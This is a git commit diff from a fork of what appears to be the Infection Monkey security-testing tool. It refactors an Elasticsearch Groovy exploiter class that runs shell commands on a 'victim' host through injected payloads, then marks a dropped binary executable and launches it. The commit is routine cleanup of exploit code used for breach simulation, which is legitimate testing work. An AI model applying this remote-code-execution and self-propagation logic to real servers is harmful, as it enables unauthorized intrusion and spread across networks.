forked from p15670423/monkey
Finish fixing CR notes.
This commit is contained in:
parent
5e8288e211
commit
6b7f67933d
|
@ -101,6 +101,16 @@ class ElasticGroovyExploiter(HostExploiter):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
self.set_file_executable_linux(host, dropper_target_path_linux)
|
self.set_file_executable_linux(host, dropper_target_path_linux)
|
||||||
|
self.run_monkey_linux(host, dropper_target_path_linux, depth)
|
||||||
|
|
||||||
|
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
|
||||||
|
LOG.info("Log file does not exist, monkey might not have run")
|
||||||
|
return True
|
||||||
|
|
||||||
|
def run_monkey_linux(self, host, dropper_target_path_linux, depth):
|
||||||
|
"""
|
||||||
|
Runs the monkey
|
||||||
|
"""
|
||||||
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
|
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
|
||||||
cmdline += build_monkey_commandline(host, depth - 1) + ' & '
|
cmdline += build_monkey_commandline(host, depth - 1) + ' & '
|
||||||
self.run_shell_command(host, cmdline)
|
self.run_shell_command(host, cmdline)
|
||||||
|
@ -108,7 +118,6 @@ class ElasticGroovyExploiter(HostExploiter):
|
||||||
self._config.dropper_target_path_linux, host, cmdline)
|
self._config.dropper_target_path_linux, host, cmdline)
|
||||||
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
|
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
|
||||||
LOG.info("Log file does not exist, monkey might not have run")
|
LOG.info("Log file does not exist, monkey might not have run")
|
||||||
return True
|
|
||||||
|
|
||||||
def download_file_in_linux(self, host, src_path, target_path):
|
def download_file_in_linux(self, host, src_path, target_path):
|
||||||
"""
|
"""
|
||||||
|
@ -153,7 +162,6 @@ class ElasticGroovyExploiter(HostExploiter):
|
||||||
def run_shell_command(self, host, command):
|
def run_shell_command(self, host, command):
|
||||||
"""
|
"""
|
||||||
Runs a single shell command and returns the result.
|
Runs a single shell command and returns the result.
|
||||||
:return:
|
|
||||||
"""
|
"""
|
||||||
payload = self.JAVA_CMD % command
|
payload = self.JAVA_CMD % command
|
||||||
result = self.get_command_result(host, payload)
|
result = self.get_command_result(host, payload)
|
||||||
|
@ -163,7 +171,6 @@ class ElasticGroovyExploiter(HostExploiter):
|
||||||
def get_linux_arch(self, host):
|
def get_linux_arch(self, host):
|
||||||
"""
|
"""
|
||||||
Returns host as per uname -m
|
Returns host as per uname -m
|
||||||
:return:
|
|
||||||
"""
|
"""
|
||||||
return self.get_command_result(host, self.JAVA_GET_BIT_LINUX)
|
return self.get_command_result(host, self.JAVA_GET_BIT_LINUX)
|
||||||
|
|
||||||
|
@ -194,13 +201,10 @@ class ElasticGroovyExploiter(HostExploiter):
|
||||||
Gets the result of an attack payload with a single return value.
|
Gets the result of an attack payload with a single return value.
|
||||||
:param host: VictimHost configuration
|
:param host: VictimHost configuration
|
||||||
:param payload: Payload that fits the GENERIC_QUERY template.
|
:param payload: Payload that fits the GENERIC_QUERY template.
|
||||||
:return:
|
|
||||||
"""
|
"""
|
||||||
result = self.attack_query(host, payload)
|
result = self.attack_query(host, payload)
|
||||||
if not result: # not vulnerable
|
if not result: # not vulnerable
|
||||||
return False
|
return False
|
||||||
if 1 != len(result): # weird
|
|
||||||
return None
|
|
||||||
return result[0]
|
return result[0]
|
||||||
|
|
||||||
def attack_query(self, host, payload):
|
def attack_query(self, host, payload):
|
||||||
|
|
Loading…
Reference in New Issue